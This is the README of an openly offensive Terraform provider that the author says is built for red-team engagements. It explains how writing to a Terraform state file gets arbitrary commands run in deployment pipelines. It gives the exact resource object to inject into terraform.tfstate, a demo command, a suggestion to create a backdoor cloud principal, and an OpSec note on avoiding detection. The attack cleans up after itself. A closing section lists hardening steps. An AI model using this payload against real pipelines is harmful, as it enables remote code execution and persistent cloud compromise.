🔥 Equipped with only write access to a terraform state file, an attacker can use this terraform provider to potentially execute arbitrary commands in the deployment pipelines relying on the state file.
➡️ Here you can find the entry in the Terraform Registry.
- 🧑💻 The attacker adds a fake resource pointing to this provider in the state file and specifies a command to execute ("statefile poisoning").
- 💡 The next time the pipeline relying on this state file is being triggered, terraform will realize there is a resource that is not specified in the infrastructure-as-code code and thus will want to destroy the resource.
- ⬇️ To do this, terraform will load the malicious provider during the
terraform init
phase, since in regular use of terraform the provider would offer the correct logic to remove resources. - 💣 In the logic for destroying the resouce however, the malicious provider will first read the command to execute from the state file, then execute it (on both
terraform plan
andterraform apply
!), and then purge the fake resource from the state file (only onterraform apply
).
I got the idea for this provider from Daniel Grzelak's post Hacking Terraform State for Privilege Escalation. In it, he in detail describes the inner workings of what's happening here and also gives great remediation advice. Read it!
The POC he is demonstrating in the blog post had a hardcoded call for data exfiltration, I however wanted to have freedom to run arbitrary commands without touching the providers code. Including the command to run in the state file and reading it from there seemed the logical solution.
So I went ahead and weaponised this research to be able to use it in red team engagements and to show it off in regular pentests to drive the point home, why only the principal running the pipeline should have any access to the state file.
Open the targeted terraform.tfstate
state file and inject the following object at any position into the resources
array:
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
Then change the values for the following two keys:
name
: Here you can assign an arbitrary name for the resource.instances[*].attributes.command
: Here you can specify the command to run. Remember to encode all special characters with unicode escape sequences, e.g.>
would be\u003e
.
Now, the next time the pipeline runs and executes terraform init
and terraform plan
and / or terraform apply
, the specified command should get executed.
🚨 OpSec Warning
If a human runs
terraform plan
orterraform apply
on their machine during development, they normally do not runterraform init
every time before doing so, especially not if they do not expect any changes in the providers used. Thus, the following warning would get displayed, shining a bright light at the attack:Since pipelines should run on ephemeral infrastructure, and thus have to run
terraform init
on every pipeline run, this should not be a problem in this case.
⚠️ To make this as concise as possible, the example uses the state file right in the same folder with the configuration filemain.tf
. This normally is not the case, but does not make any difference for the attack.
As can be seen, the demo folder only contains two files:
The configuration file main.tf
contains very simple infrastructure-as-code code for the creation of a S3 bucket in AWS:
The state file terraform.tfstate
shows that this bucket has already been created, using the official AWS provider (output shortened):
Now, the attacker wants to run the command id > id.out
in the context of a pipeline execution.
The command does only make sense for this demo obviously. Normally (my experience tells me 99% of the time), the context of the pipeline run is the context of administrative access to a cloud account, so you might want to create a backdoor principal in this step.
Thus, the attacker injects the following object into the resources
array:
{
"mode": "managed",
"type": "rce",
"name": "command",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "id \u003e id.out",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
Then, due to some external event (normally the push of code in a repository), the pipeline gets triggered and first initializes terraform, installing the malicious provider next to the legitimate AWS provider:
Now, with the providers in place, the pipeline plans the execution and realizes, that the injected resource is not mentioned in the main.tf
and thus should be deleted:
💣 However, even if this triggers some sort of alert and human interaction, the malicious command already got executed (which is not how terraform normally behaves):
If this did not trigger any intervention (the deletion of resources is common in daily development), the pipeline next normally runs terraform apply
to apply the changes and deletes the injected resource:
As can be seen, the malicious command got executed again (see the changed timestamp):
Since the malicious resource was "deleted", it does not appear anymore in the state file:
One could say that the attack neatly cleans up after itself 🪥.
As stated before, Daniel Grzelak's blog post Hacking Terraform State for Privilege Escalation was the inspiration for my work and also has great remediation advice. Read it there, here you will find only the keywords:
- Secure the state file: Only the prinicpal running the pipeline should have the permissions to interact (read, write) with the state file. Period. This will thwarth the whole attack. Extreme example: Not too long ago I have seen an AWS account in which the entire sales department did have write access to all S3 buckets to be able to upload sales material there. Sadly, this included the bucket containing the state files for a whole array of services.
- Use finely scoped access permissions for different pipelines: Not every pipeline needs full administrative access to everything. Sounds like a no-brainer, but I rarely see this actually done.
- Enable state locking and safeguard the state lock in the same way as the state file: Not a security feature per se, but if this is done properly, the attack will not work anyways.
As a side product, the provider can also be used like a regular provider, but with this feature: The output of the command will be written to the state file, so if you have write access to the infrastructure-as-code code and read access to the state file, but you cannot read the output of your commands in the pipeline (e.g. no access to GitHub Action logs), then you can use the following.
Add this code to e.g. the main.tf
file:
terraform {
required_providers {
rce = {
source = "offensive-actions/statefile-rce"
}
}
}
provider "rce" {}
resource "rce" "command" {
command = "<arbitrary_command>"
}
Then, after a pipeline run, and when running id
, this is the resulting state file - note the result of the id
command in the resources.instances.attributes.output
:
I would love constructive criticism and pull requests to enhance this. There were several design decisions that made sense at the time of writing, but might not the best ones. Also, the code is AI fuled and there are not tests, obviously YOLO.